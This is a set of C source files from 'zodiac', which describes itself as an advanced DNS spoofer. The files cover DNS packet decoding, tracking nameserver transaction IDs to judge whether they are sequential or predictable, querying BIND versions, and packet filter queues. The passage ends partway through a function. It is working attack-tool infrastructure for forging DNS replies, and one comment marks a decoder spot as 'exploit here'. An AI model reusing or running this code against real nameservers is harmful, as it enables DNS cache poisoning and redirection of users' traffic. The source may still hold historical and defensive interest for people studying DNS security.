/* indicates a DNS error - should I be more specific? */
#define DT_ANSWER_ERR 0x2
#define DT_ANSWER_RESOLVE 0x3
#define DT_ANSWER_UNKNOWNTYPE 0x4
#define DT_ANSWER_FILTERERR 0x5
typedef struct {
char *name;
u_short type;
union {
struct in_addr ip; /* A */
char *label; /* PTR NS TXT */
} data;
} rrec;
typedef struct {
int rrec_cnt;
rrec *rrecords; /* array of resource records */
} dt_section;
typedef struct {
unsigned int answer; /* should be of form DT_ANSWER_* */
dt_section an_section,
ns_section,
ar_section;
} dt_answer;
/* dt_bind_version
*
* try to retrieve a version number from a dns server with the host name
* `host' which is running the bind named.
*
* this would be easily done using a fixed buffer and an udp socket, but
* we want to do it with style, oh yeah =) (in other words i didn't write
* this routines to lever me down to udp sockets again ;)
*
* return an allocated string with the server response
* return an allocated string "unknown" if the version couldn't be retrieved
* return NULL on failure (no response)
*/
char *dt_bind_version (char *host);
/* dt_query_bind
*
* generic query function. query a remote nameserver `serv' for a query
* `query' of the type `type' and class `class'.
*
* return a pointer to a generic answer structure
* on failure ans->answer will be set appropiatly
*
* -smiler
* we just don't *do* windoze NSs ;-)
*/
dt_answer *dt_query_bind (char *serv, u_short type, u_short class, char *query);
int dt_answer_free (dt_answer *ans);
/* Array of strings for DT_ANSWER_* macros.
*/
extern char *dterrlist[];
struct in_addr *dt_ns_get_auth (char *ns_query, char *domain, int *err);
#endif

548
dns/zodiac/src/dns.c Normal file
View file

@ -0,0 +1,548 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns handling routines
*
* including scut's leet dns packet decoder *welp* :-D
*
*/
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <pthread.h>
#include <ncurses.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "packet.h"
#include "dns.h"
#include "dnsid.h"
#include "dns-tag.h"
#include "dnsq.h"
#include "zodiac.h"
#include "output.h"
extern int quiteness;
pthread_mutex_t id_rmutex = PTHREAD_MUTEX_INITIALIZER;
static char *types[] = { NULL, "A", "NS", "MD", "MF", "CNAME", "SOA", "MB", "MG",
"MR", "NULL", "WKS", "PTR", "HINFO", "MINFO", "MX", "TXT" };
static char *rcodes[] = { "OK", "EFORM", "EFAIL", "ENAME", "ENIMP", "ERFSD", NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL };
/* dns_handle
*
* handle a dns packet with header pointed to by `dns_hdr' and data pointed
* to by `dns_data'.
*
* do all necessary queue / decoding stuff
*/
void
dns_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *dns_data, unsigned int plen)
{
int n; /* temporary return value */
unsigned char *d_quer[SEG_COUNT_MAX]; /* query array */
unsigned char *d_answ[SEG_COUNT_MAX]; /* answer array */
unsigned char *d_auth[SEG_COUNT_MAX]; /* authority array */
unsigned char *d_addi[SEG_COUNT_MAX]; /* additional array */
char dns_p[2048]; /* output (for humans :) */
#ifdef PDEBUG
hexdump ("packet-dns", (unsigned char *) dns, 256);
#endif
/* segmentify dns packet
*/
n = dns_segmentify (dns, dns_data, d_quer, d_answ, d_auth, d_addi);
if (n != 0) {
m_printf (ms, ms->windns, "FAILURE ON DNS PACKET DISASSEMBLY\n");
return;
}
memset (dns_p, '\0', sizeof (dns_p));
/* only print own packets if dns_print_own_packets is 1
*/
if (dns_print_own_packets == 1 || dns_tag_check_n (&ip->ip_src,
&ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport),
htons (dns->id)) == 0)
{
if (quiteness == 0) {
dns_printpkt (dns_p, sizeof (dns_p) - 1, ip, udp, dns,
dns_data, d_quer, d_answ, d_auth, d_addi);
}
}
/* do the real packet filtering stuff only if the packet isn't on the
* marked send queue :)
*/
if (dns_tag_check_n (&ip->ip_src, &ip->ip_dst, htons (udp->uh_sport),
htons (udp->uh_dport), htons (dns->id)) == 0)
{
dq_handle (ip, udp, dns, plen);
}
/* return
*/
return;
}
/* dns_p_print
*
* decode a dns packet pointed to by `dns' and `dns_data' to a human readable
* form to the string pointed to by `os', with a maximum length of `len'
*
* return 0 on success
* return 1 on failure
*/
int
dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], unsigned char *d_answ[],
unsigned char *d_auth[], unsigned char *d_addi[])
{
int n;
scnprintf (os, len, "[%04x] ", ntohs (dns->id));
if (dns->qr == 0) {
/* print the query
*/
if (dns->opcode != 0 && dns->opcode != 1) {
scnprintf (os, len, "unsupported opcode %02x %s", dns->opcode,
(dns->opcode == 3) ? "ST " : "");
} else {
if (dns->opcode == 0)
scnprintf (os, len, " Q ");
else if (dns->opcode == 1)
scnprintf (os, len, "IQ ");
}
} else if (dns->qr == 1) {
char *rcstr = NULL;
/* authoritative answer ?
*/
if (dns->aa == 1)
scnprintf (os, len, "AA ");
else
scnprintf (os, len, " A ");
rcstr = rcodes[dns->rcode];
scnprintf (os, len, "(%s)", (rcstr == NULL) ? "?" : rcstr);
}
for (n = 0; n < ntohs (dns->qdcount) && n < SEG_COUNT_MAX; n++) {
if (n == 0)
scnprintf (os, len, "\n\t-QUERIES (%hu)-", ntohs (dns->qdcount));
scnprintf (os, len, "\n\t\t");
dns_p_q ((unsigned char *) dns, os, len, d_quer[n]);
}
for (n = 0; n < ntohs (dns->ancount) && n < SEG_COUNT_MAX; n++) {
if (n == 0)
scnprintf (os, len, "\n\t-ANSWERS (%hu)-", ntohs (dns->ancount));
scnprintf (os, len, "\n\t\t");
dns_p_rr ((unsigned char *) dns, os, len, d_answ[n]);
}
for (n = 0; n < ntohs (dns->nscount) && n < SEG_COUNT_MAX; n++) {
if (n == 0)
scnprintf (os, len, "\n\t-AUTHORITY (%hu)-", ntohs (dns->nscount));
scnprintf (os, len, "\n\t\t");
dns_p_rr ((unsigned char *) dns, os, len, d_auth[n]);
}
for (n = 0; n < ntohs (dns->arcount) && n < SEG_COUNT_MAX; n++) {
if (n == 0)
scnprintf (os, len, "\n\t-ADDITIONAL (%hu)-", ntohs (dns->arcount));
scnprintf (os, len, "\n\t\t");
dns_p_rr ((unsigned char *) dns, os, len, d_addi[n]);
}
return (0);
}
/* dns_p_q
*
* print a dns query record pointed to by `wp' as a human readable string,
* and append it to `os', which can have a maximum size of `len' characters.
*/
void
dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp)
{
char qname[256];
char *qt;
u_short qtype, qclass;
memset (qname, '\0', sizeof (qname));
dns_dcd_label (dns_start, &wp, qname, sizeof (qname) - 1, 5);
/* get query type and class
*/
GETSHORT (qtype, wp);
GETSHORT (qclass, wp);
if (qtype <= 16)
qt = types[qtype];
else
qt = NULL;
scnprintf (os, len, "[t: %s (%04x)][c: %04x] %s",
(qt != NULL) ? qt : "-", qtype, qclass, qname);
return;
}
/* dns_p_rdata
*
* print a resource record rdata field pointed to by `rdp' as a human readable
* string `rdstr' with a maximum length `len', depending on rdata type `rtype'
* the data pointed to by `rdp' has the length `rdlen'.
*
* return nothing
*/
void
dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len,
u_short rtype, unsigned char *rdp, u_short rdlen)
{
char *ips;
char ipv4str[64]; /* temporary IP address string */
struct in_addr ip;
unsigned char *wps = rdp;
memset (rdstr, '\0', len);
switch (rtype) {
case (T_A):
memcpy (&ip, rdp, sizeof (struct in_addr));
ips = ipv4_print (ipv4str, ip, 0);
scnprintf (rdstr, len, "%s", ips);
break;
case (T_CNAME):
case (T_NS):
case (T_PTR):
dns_dcd_label (dns_start, &wps, rdstr, len, 5);
break;
default:
break;
}
return;
}
/* dns_p_rr
*
* print a dns resource record pointed to by `wp' as a human readable string,
* and append it to `os', which can have a maximum size of `len' characters.
*/
void
dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp)
{
char name[256], rdatas[256];
char *t;
u_short type, class, rdlen;
u_long ttl;
/* decode label
*/
memset (name, '\0', sizeof (name));
dns_dcd_label (dns_start, &wp, name, sizeof (name), 5);
/* get type/class/ttl/rdlength/rdata
* then assign appropiate type description
*/
GETSHORT (type, wp);
GETSHORT (class, wp);
GETLONG (ttl, wp);
GETSHORT (rdlen, wp);
t = (type <= 16) ? types[type] : NULL;
/* add decoded rdata info into rdatas
* different decoding depending on type
*/
dns_p_rdata (dns_start, rdatas, sizeof (rdatas), type, wp, rdlen);
scnprintf (os, len, "[t: %s (%04x)][c: %04x][ttl: %lu][r: %04x] %s : %s",
(t != NULL) ? t : "-", type, class, ttl, rdlen, name, rdatas);
return;
}
/* dns_segmentify
*
* segmentify a dns datagram pointed to by `dns_hdr' and `dns_data' into it's
* different parts, such as the query part (pointed to by `d_quer'), the
* answer part (pointed to by `d_answ'), the authoritaty (pointed to by
* `d_auth') and the additional information parts (pointed to by `d_addi').
*
* return 0 on success, and fill all the **-pointers to either NULL or data
* within the `dns_data' array.
*/
int
dns_segmentify (dns_hdr *dns, unsigned char *dns_data,
unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
unsigned char *d_addi[])
{
unsigned char *wp; /* work pointer */
wp = dns_data;
/* get queries, answers, authorities and additional information
*/
dns_seg_q (&wp, d_quer, htons (dns->qdcount), SEG_COUNT_MAX);
dns_seg_rr (&wp, d_answ, htons (dns->ancount), SEG_COUNT_MAX);
dns_seg_rr (&wp, d_auth, htons (dns->nscount), SEG_COUNT_MAX);
dns_seg_rr (&wp, d_addi, htons (dns->arcount), SEG_COUNT_MAX);
return (0);
}
/* dns_seg_q
*
* segmentify a query record of a dns datagram, starting at `wp', creating
* an array of `c' number of pointers in `d_arry', truncating if it exceeds
* a number of `max_size' records
*/
void
dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size)
{
int count;
for (count = 0; count < c && count < max_size; count++) {
d_arry[count] = *wp;
*wp += dns_labellen (*wp); /* skip label */
*wp += 2 * sizeof (u_short); /* skip qtype/qclass */
}
}
/* dns_seg_rr
*
* segmentify a resource record of a dns datagram, starting at `wp', creating
* an array of `c' number of pointers in `d_arry', truncating if it exceeds
* a number of `max_size' records
*/
void
dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size)
{
int count;
unsigned long int rdlen;
for (count = 0; count < c && count < max_size; count++) {
d_arry[count] = *wp;
/* skip the label (most likely compressed)
*/
*wp += dns_labellen (*wp);
/* skip the type, class, ttl
*/
*wp += 8 * sizeof (u_char);
/* resource data length
*/
GETSHORT (rdlen, *wp);
*wp += rdlen;
}
return;
}
/* dns_labellen
*
* determine the length of a dns label pointed to by `wp'
*
* return the length of the label
*/
int
dns_labellen (unsigned char *wp)
{
unsigned char *wps = wp;
while (*wp != '\x00') {
/* in case the label is compressed we don't really care,
* but just skip it
*/
if ((*wp & INDIR_MASK) == INDIR_MASK) {
wp += sizeof (u_short);
/* non-clear RFC at this point, got to figure with some
* real dns packets
*/
return ((int) (wp - wps));
} else {
wp += (*wp + 1);
}
}
return ((int) (wp - wps) + 1);
}
/* dns_dcd_label
*
* decode a label sequence pointed to by `qname' to a string pointed to by
* `os', with a maximum length of `len' characters
* after successful decoding it will update *qname, to point to the qtype
* if the `dig' flag is > 0 the routine may allow to call itself recursively
* at a maximum dig level of `dig'.
* if `dig' is zero it is a recursive call and may not call itself once more.
* `dns_start' is a pointer to the beginning of the dns packet, to allow
* compressed labels to be decoded.
*
* return 0 on success
* return 1 on failure
*/
int
dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig)
{
unsigned char *qn = *qname;
while (*qn != '\0') {
if ((*qn & INDIR_MASK) == INDIR_MASK) {
int offset; /* compression offset */
unsigned char *tpt; /*temporary pointer */
if (dig == 0) {
if (dns_start == NULL)
return (1);
m_printf (ms, ms->windns, "DNS attack, compr. flaw exploit attempt\n");
return (1);
}
/* don't fuck with big bad endian
*/
offset = (((unsigned char) *qn) & ~0xc0) << 8;
qn += 1;
offset += (int) ((unsigned char) *qn);
qn += 1;
/* recursivly decode the label pointed to by the offset
* exploit here =)
*/
tpt = dns_start + offset;
*qname = qn;
return (dns_dcd_label (dns_start, &tpt, os, len, dig - 1));
} else {
char label[65];
memset (label, '\0', sizeof (label));
memcpy (label, qn + 1, (*qn & ~INDIR_MASK));
scnprintf (os, len, "%s", label);
}
qn += *qn + 1;
if (*qn != 0)
scnprintf (os, len, ".");
}
*qname = qn + 1;
return (0);
}
#if 0
/*
* My attempt at a version of dns_dcd_label that isn't recursive
* note this version doesn't check for errors yet....like
* nasty compressed dns packets which cause infinite loops :-(
* returns the length of the compressed domain name.
* -smiler
*/
int
dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig)
{
unsigned char *qn = *qname,
*start = qn,
*end = NULL;
unsigned char labellen;
unsigned short off;
while ((labellen = *qn++) != '\0') {
if (labellen & INDIR_MASK != 0) {
end = qn + 1;
off = (unsigned char) (labellen & ~INDIR_MASK);
off |= *qn++ << 8;
/* I think this works on big endian too... */
off = ntohs (off);
qn = dns_start + off;
continue;
}
memcpy (os, qn, labellen);
os += labellen;
qn += labellen;
*os++ = '.';
}
if (end == NULL)
end = qn;
*os++ = 0;
*qname = qn;
return (end - start);
}
#endif
/* dns_printpkt
*
* print dns packet header pointed to by `dns' in human readable form
* to dns window
*
* return nothing
*/
void
dns_printpkt (char *os, size_t osl, ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *data,
unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
unsigned char *d_addi[])
{
char ipsrc[64], ipdst[64];
char *is, *id;
is = ipv4_print (ipsrc, ip->ip_src, 2);
id = ipv4_print (ipdst, ip->ip_dst, 2);
scnprintf (os, osl, "[%s:%5hu ->", is, ntohs (udp->uh_sport));
scnprintf (os, osl, " %s:%5hu] ", id, ntohs (udp->uh_dport));
/* print decoded dns packet to screen
*/
dns_p_print (os, osl, dns, d_quer, d_answ, d_auth, d_addi);
m_printf (ms, ms->windns, "%s\n", os);
return;
}

66
dns/zodiac/src/dns.h Normal file
View file

@ -0,0 +1,66 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns / id queue handling routines
*/
#ifndef Z_DNS_H
#define Z_DNS_H
#include <sys/time.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <pthread.h>
#include "dnsid.h"
#include "output.h"
#include "packet.h"
/* dns flags (for use with libnet)
*/
#define DF_RESPONSE 0x8000
#define DF_OC_STD_Q 0x0000
#define DF_OC_INV_Q 0x0800
#define DF_OC_STAT 0x1800
#define DF_AA 0x0400
#define DF_TC 0x0200
#define DF_RD 0x0100
#define DF_RA 0x0080
#define DF_RCODE_FMT_E 0x0001
#define DF_RCODE_SRV_E 0x0002
#define DF_RCODE_NAME_E 0x0003
#define DF_RCODE_IMPL_E 0x0004
#define DF_RCODE_RFSD_E 0x0005
#define SEG_COUNT_MAX 16
void dns_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *dns_data, unsigned int plen);
int dns_segmentify (dns_hdr *dns, unsigned char *dns_data,
unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
unsigned char *d_addi[]);
void dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size);
void dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size);
int dns_labellen (unsigned char *wp);
/* dns_printpkt
*
* print a packet into the dns window
*/
void dns_printpkt (char *os, size_t osl, ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *data,
unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[],
unsigned char *d_addi[]);
int dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[],
unsigned char *d_answ[], unsigned char *d_auth[], unsigned char *d_addi[]);
void dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp);
void dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp);
void dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, u_short rtype,
unsigned char *rdp, u_short rdlen);
int dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig);
#endif

403
dns/zodiac/src/dnsid.c Normal file
View file

@ -0,0 +1,403 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns id queue handling routines
*
*/
#define DNSID_MAIN
#include <sys/time.h>
#include <unistd.h>
#include <pthread.h>
#include <ncurses.h>
#include <stdlib.h>
#include "common.h"
#include "dnsid.h"
#include "dns.h"
#include "network.h"
#include "zodiac.h"
#include "output.h"
id_q *id_root = NULL;
/* id_qprint
*
* erase the window pointed to by `win' in `screen', then print all
* ID's stored in queue pointed to by `root', which is protected by `rm'
*/
void
id_qprint (mscr *screen, WINDOW *win)
{
id_q *this; /* list step-through pointer */
/* clear window
*/
pthread_mutex_lock (&screen->outm);
werase (win);
pthread_mutex_unlock (&screen->outm);
pthread_mutex_lock (&id_rmutex);
this = id_root;
while (this != NULL) {
char ip[64], *ipp;
unsigned long int age = 0;
id_q *next;
pthread_mutex_lock (&this->id_mutex);
ipp = ipv4_print (ip, this->ip, 2); /* print ip in quad-dot, padded with spaces */
age = id_tdiff (&this->mtime); /* compute the age of the known id */
m_printfnr (screen, win, "[%s] %04x = %8lu %s%s\n", ipp, this->id, age,
((this->flags & IDF_SEQ) == IDF_SEQ) ? "SEQUENTIAL " : "",
((this->flags & IDF_WINDUMB) == IDF_WINDUMB) ? "WINDOWS" : "");
next = this->next;
pthread_mutex_unlock (&this->id_mutex);
this = next;
}
pthread_mutex_unlock (&id_rmutex);
pthread_mutex_lock (&screen->outm);
wrefresh (win);
pthread_mutex_unlock (&screen->outm);
return;
}
/* id_tdiff
*
* calculate the age in seconds from the given timeinterval and the current
* time.
*
* return the age in seconds
*/
unsigned long int
id_tdiff (struct timeval *mtime)
{
struct timeval current; /* current time */
/* get current time
*/
gettimeofday (&current, NULL);
return (tdiff (mtime, &current));
}
/* id_free
*
* free's an id_q structure, pointed to by `tofree'. this routine assumes that
* the calling function hold the `id_mutex', and won't unlock it later, because
* it gets destroyed.
*/
void
id_free (id_q *tofree)
{
pthread_mutex_destroy (&tofree->id_mutex);
free (tofree);
return;
}
/* id_seq
*
* make assumptions wether a dns id is predictable and used sequentially.
* use the time `o_time' of the old id `old_id' to compare with the new
* id `new_id'. use limit `idps' to get id rate per second.
*
* return 1 if it is sequentially (rate below or equal to `idps'
* return 0 if the id is not predictable or random (above the rate)
* return -1 if `old_id' is same as `new_id'
*/
int
id_seq (u_short new_id, u_short old_id, struct timeval *o_time, int idps)
{
unsigned long int age;
u_short id_diff = 0;
/* handle bigger/smaller cases signed, if equal it is most likely
* a second query approach, therefore id_diff stays zero
*/
if (new_id > old_id)
id_diff = (new_id - old_id);
else if (new_id < old_id)
id_diff = (old_id - new_id);
if (id_diff == 0)
return (-1);
/* make some calculations about predictability
* of the id's
*/
age = id_tdiff (o_time);
if (age == 0)
age = 1;
/* less then 10 id's per second
*/
if ((id_diff / age) <= idps)
return (1);
return (0);
}
/* id_windows
*
* check if both id's, `id_new' and `id_old' may be send out by a windows
* `operating system' dns resolver library.
*
* return 1 if it is most likely a windows box
* return 0 if it is most likely not a windows box
*/
int
id_windows (u_short id_new, u_short id_old)
{
if (id_new <= 20 && id_old <= 20)
return (1);
return (0);
}
/* id_add
*
* add/update a nameserver id entry for `ip' as the nameserver ip,
* `id' as the measured nameserver id, and `mtime' as the time measured.
*
* return nothing (since the packet is mutexed)
*/
void
id_add (struct in_addr ip, u_short id, struct timeval *mtime)
{
id_q *n_idq; /* new id queue element */
/* get memory for new linked list element
*/
n_idq = xcalloc (1, sizeof (id_q));
/* initialize structure
*/
pthread_mutex_init (&n_idq->id_mutex, NULL);
memcpy (&n_idq->ip, &ip, sizeof (struct in_addr));
n_idq->id = id;
n_idq->flags = 0;
memcpy (&n_idq->mtime, mtime, sizeof (struct timeval));
n_idq->next = NULL;
pthread_mutex_lock (&id_rmutex);
if (id_root == NULL) {
id_root = n_idq;
} else {
id_q *this, *last;
int bc = 0; /* for break condition */
/* step through the linked list until either an old entry
* was found, or we have reached the end of the list
* quite scuttish code ;-)
*
* fixed, optimized and rewritten 990614, please don't mod here
*/
last = this = id_root;
while (bc == 0) {
pthread_mutex_lock (&this->id_mutex);
/* if the id is already stored, unlink the old id_q,
* and put our one instead
*/
if (memcmp (&this->ip, &ip, sizeof (struct in_addr)) == 0) {
id_q *old;
int nr; /* temp. return value */
/* check wether the dns id is sequential
*/
nr = id_seq (id, this->id, &this->mtime, 40);
if (nr == -1) {
n_idq->flags = this->flags;
} else if (nr == 1) {
n_idq->flags |= IDF_SEQ;
} else if (nr == 0) {
/* n_idq->flags &= ~IDF_SEQ;
*/
n_idq->flags = this->flags;
}
nr = id_windows (id, this->id);
if (nr == 1)
n_idq->flags |= IDF_WINDUMB;
else
n_idq->flags &= ~IDF_WINDUMB;
/* if we have to replace the entry, we copy the link-
* data from it, then remove it from the linked list
*/
old = this;
n_idq->next = old->next;
/* if there were id_q's before, correct the last one
*/
if (old == id_root) {
id_root = n_idq;
} else {
pthread_mutex_lock (&last->id_mutex);
last->next = n_idq;
pthread_mutex_unlock (&last->id_mutex);
}
pthread_mutex_unlock (&old->id_mutex);
id_free (old);
bc = 1; /* break if entry already exists */
/* else, when the end of the id queue is reached, without
* any matching entry, then just add our one to the end
*/
} else if (this->next == NULL) {
this->next = n_idq;
if (id_windows (0, this->id) == 1)
this->flags |= IDF_WINDUMB;
bc = 2; /* break when end of list is reached */
}
if (bc != 1) {
last = this;
this = this->next;
pthread_mutex_unlock (&last->id_mutex);
}
}
/* bc == 2 is already carried out
*/
}
pthread_mutex_unlock (&id_rmutex);
return;
}
/* id_speed
*
* fetch the id increasing speed.
*
* return the dns id increasing speed (in id's per 10 seconds) of the
* nameserver with ip `ip'.
* return 0 on failure.
*/
unsigned long int
id_speed (char *ip_a)
{
id_q *this; /* working pointer for queue */
struct in_addr ip_ad;
unsigned long int speed = 0;
pthread_mutex_lock (&id_rmutex);
ip_ad.s_addr = net_resolve (ip_a);
for (this = id_root; this != NULL; this = this->next) {
pthread_mutex_lock (&this->id_mutex);
if (memcmp (&this->ip, &ip_ad, sizeof (struct in_addr)) == 0) {
speed = this->id_speed;
}
pthread_mutex_unlock (&this->id_mutex);
}
pthread_mutex_unlock (&id_rmutex);
return (speed);
}
/* id_get
*
* return the last dns ID measured, with time pointed to by `tv'
* if `tv' is NULL, the timeval is not copied.
*
* return ID and copy timeval into *tv on success
* return 0 on failure
*/
u_short
id_get (char *ip, struct timeval *tv, unsigned long int *flags)
{
u_short id; /* id to return */
id_q *this; /* working pointer for queue */
int bc = 1; /* break condition */
struct in_addr ip_a;
/* lock queue mutex to sync all queue functions
*/
pthread_mutex_lock (&id_rmutex);
ip_a.s_addr = net_resolve (ip);
/* step through queue
*/
for (this = id_root; this != NULL && bc; this = this->next) {
pthread_mutex_lock (&this->id_mutex);
if (memcmp (&this->ip, &ip_a, sizeof (struct in_addr)) == 0) {
if (tv != NULL) {
memcpy (tv, &this->mtime, sizeof (struct timeval));
}
id = this->id;
*flags = this->flags;
bc = 0; /* break */
}
pthread_mutex_unlock (&this->id_mutex);
}
pthread_mutex_unlock (&id_rmutex);
return (bc == 0 ? (id) : 0);
}
/* id_qcleanup
*
* cleans up the whole id queue pointed to by `root', protected by `rm'.
*/
void
id_qcleanup (pthread_mutex_t *rm, id_q **root)
{
id_q *this;
pthread_mutex_lock (rm);
this = *root;
*root = NULL;
while (this != NULL) {
id_q *next;
/* lock, then destroy mutex
*/
pthread_mutex_lock (&this->id_mutex);
pthread_mutex_destroy (&this->id_mutex);
next = this->next;
id_free (this);
this = next;
}
pthread_mutex_unlock (rm);
return;
}

58
dns/zodiac/src/dnsid.h Normal file
View file

@ -0,0 +1,58 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns id queue handling header file
*/
#ifndef Z_DNSID_H
#define Z_DNSID_H
#include <pthread.h>
#include "output.h"
#define IDF_SEQ 0x0001 /* sequential id's */
#define IDF_WINDUMB 0x0002 /* windows dumb id's (just non-collision id's, starting at 0x0001) */
/* id_q
*
* linked list element that hold the last visible id of the nameserver with
* ip `ip'. `mtime' is the time the id was measured. `next' is the pointer
* to the next element of the linked list
*
* each element is protected by the `id_mutex' mutal exclusion variable
*/
typedef struct id_q {
pthread_mutex_t id_mutex; /* mutal exclusion over the structure */
struct in_addr ip; /* ip of the nameserver */
u_short id;
u_short id_guess; /* next guess range for id (= id + range) */
unsigned long int id_speed_c; /* how many times the speed has been counted */
unsigned long int id_speed; /* differential analysed dns id increasing
* speed in increases per 10 seconds
*/
unsigned long int flags; /* flags */
struct timeval mtime;
struct id_q *next;
} id_q;
void id_qprint (mscr *screen, WINDOW *win);
unsigned long int id_tdiff (struct timeval *mtime);
void id_free (id_q *tofree);
int id_seq (u_short new_id, u_short old_id, struct timeval *o_time, int idps);
int id_windows (u_short id_new, u_short id_old);
void id_add (struct in_addr ip, u_short id, struct timeval *mtime);
u_short id_get (char *ip_a, struct timeval *tv, unsigned long int *flags);
unsigned long int id_speed (char *ip_a);
void id_qcleanup (pthread_mutex_t *rm, id_q **root);
#ifndef DNSID_MAIN
extern id_q *id_root;
#endif
extern pthread_mutex_t id_rmutex;
#endif

622
dns/zodiac/src/dnsq.c Normal file
View file

@ -0,0 +1,622 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns queue routines
*/
#define DNSQ_MAIN
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <semaphore.h>
#include "common.h"
#include "dns.h"
#include "dnsq.h"
#include "packet.h"
/* a maximum of 256 filters should be used
* raise this on demand
*/
#define DQ_MAX 256
pthread_mutex_t dqf_mutex = PTHREAD_MUTEX_INITIALIZER; /* mutex over this array */
dq_filter *dqf[DQ_MAX]; /* filter descriptor array */
int dq_count = 0; /* total filter count */
/* dq_match
*
* compare two filters, `real' is a real filter from the filter table,
* `pseudo' is a pseudo filter, that is just used for this comparing
* purposes.
*
* return 1 if they match
* return 0 if they don't match
*/
int
dq_match (dq_filter *real, dq_filter *pseudo)
{
int n; /* temporary return value */
dns_hdr *dns; /* dns header pointer */
unsigned char *query_data; /* first query in dns packet */
/* compare the ip's, skipping INADDR_ANY records
*/
if (real->ip_src.s_addr != htonl (INADDR_ANY)) {
if (real->ip_src.s_addr != pseudo->ip_src.s_addr)
return (0);
}
if (real->ip_dst.s_addr != htonl (INADDR_ANY)) {
if (real->ip_dst.s_addr != pseudo->ip_dst.s_addr)
return (0);
}
/* compare the source/destination ports, skipping zero ports
*/
if (real->port_src != 0) {
if (real->port_src != pseudo->port_src)
return (0);
}
if (real->port_dst != 0) {
if (real->port_dst != pseudo->port_dst)
return (0);
}
/* finally, check the dns id range
*/
if (real->id_watch == 1) {
if (pseudo->id_start < real->id_start)
return (0);
if (pseudo->id_start > real->id_end)
return (0);
}
/* query comparison
*/
if (real->query != NULL && pseudo->dns_packet != NULL) {
dns = (dns_hdr *) pseudo->dns_packet;
if (ntohs (dns->qdcount) >= 1) {
char label[256];
/* decode query label from incoming packet and then compare
* with given query
*/
query_data = pseudo->dns_packet + sizeof (dns_hdr);
memset (label, '\0', sizeof (label));
n = dns_dcd_label (pseudo->dns_packet, &query_data, label, sizeof (label) - 1, 5);
/* decoding failed
*/
if (n == 1)
return (0);
xstrupper (label);
if (strcmp (label, real->query) != 0)
return (0);
} else {
/* no query in the packet, but required by filter
*/
return (0);
}
}
/* all aspects to check matched
*/
return (1);
}
/* dq_activate
*
* activate any dq_filter_wait () that may wait for filter activity from
* the filter pointed to by `filt'.
* assume that the calling function holds filt->dq_mutex.
*
* return in any case
*/
void
dq_activate (dq_filter *filt)
{
sem_post (&filt->dq_sem);
return;
}
/* dq_handle
*
* check wether an incoming dns packet matches the filter table, then
* take the appropiate actions.
*
* return in any case
*/
void
dq_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned int plen)
{
int slot, n; /* temporary slot counter */
dq_filter *tflt; /* temporary filter for matching purposes */
/* create new pseudo filter
*/
tflt = xcalloc (1, sizeof (dq_filter));
tflt->ip_src = ip->ip_src;
tflt->ip_dst = ip->ip_dst;
tflt->port_src = htons (udp->uh_sport);
tflt->port_dst = htons (udp->uh_dport);
tflt->id_watch = 0;
tflt->id_start = htons (dns->id);
tflt->id_end = 0;
tflt->dns_packet = (unsigned char *) dns;
/* go through all slots
*/
pthread_mutex_lock (&dqf_mutex);
n = dq_count;
for (slot = 0; n > 0 && slot < DQ_MAX; slot++) {
if (dqf[slot] == NULL)
continue;
n--;
/* check wether they match, then activate threads that may listen
* for activity on the descriptor
*/
if (dq_match (dqf[slot], tflt) == 1) {
pthread_mutex_lock (&dqf[slot]->dq_mutex);
dqf[slot]->dq_sem_real = 1;
dq_p_append (dqf[slot], (unsigned char *) ip, plen);
dq_activate (dqf[slot]);
pthread_mutex_unlock (&dqf[slot]->dq_mutex);
}
}
pthread_mutex_unlock (&dqf_mutex);
/* free the pseudo filter
*/
free (tflt);
return;
}
/* dq_p_get
*
* get the first packet stored in queue on filter associated with `desc'
*
* return a pointer to the unlinked first packet
* return NULL on failure
*/
dq_packet *
dq_p_get (int desc)
{
dq_filter *df;
dq_packet *this;
pthread_mutex_lock (&dqf_mutex);
df = dqf[desc];
if (df != NULL) {
pthread_mutex_lock (&df->dq_mutex);
if (df->p_root == NULL)
return (NULL);
this = df->p_root;
df->p_root = this->next;
pthread_mutex_unlock (&df->dq_mutex);
}
pthread_mutex_unlock (&dqf_mutex);
return (this);
}
/* dq_p_append
*
* append a packet to a filter queue, where `packet' contains
* data consisting out of the ip header, udp header, dns header and dns data
*/
void
dq_p_append (dq_filter *df, unsigned char *packet, unsigned int packetlength)
{
